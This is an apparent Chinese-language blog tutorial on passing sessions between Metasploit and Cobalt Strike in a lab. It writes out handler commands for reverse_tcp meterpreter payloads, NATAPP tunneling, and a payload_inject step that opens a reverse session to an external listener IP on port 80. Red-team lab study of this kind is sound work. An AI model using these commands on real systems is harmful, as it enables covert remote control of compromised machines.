msf和cs联动

Posted 2021-05-20 番茄酱料

环境：kali（192.168.190.128）
NATAPP
CobaltStrike

一．Cs派生给msf

1.在msf中输入命令进行监听
命令：use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.190.128
set lport 4444
exploit

2.在NATAPP中配置内网穿透的ip和port

3.打开NATAPP
命令：natapp -authtoken=你的authtoken
开启如下图：

4.在cs中设置监听

注意是foreign HTTP，然后输入NATAPP中的ip和port
5.查看msf的监听

虽然成功收到session，但是这里meterpreter没有弹出，且手动进入meterpreter时候，命令无法执行，session很快closed。使用的payload是windows/x64/meterpreter/reverse_tcp,受控机器是win10主机，

二．msf派生给cs

1.先用msf得到一个session

2.cs中创建监听，要求为下图

3.输入以下命令进行派生
命令：use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_tcp
set DisablePayloadHandler true #默认情况下，payload_inject执行之后会在本地产生一个新的handler，由于我们已经有了一个，所以不需要在产生一个，所以这里我们设置为true
set lhost 78.141.207.66 #cs监听的ip
set lport 80 #cs监听的port
set session 1 #选择派生的session
exploit

4.返回cs，即可得到派生来的session，PID也为5304

三.CS直接互相派生

AB之间相互建立监听，后目标主机右键Spawn即可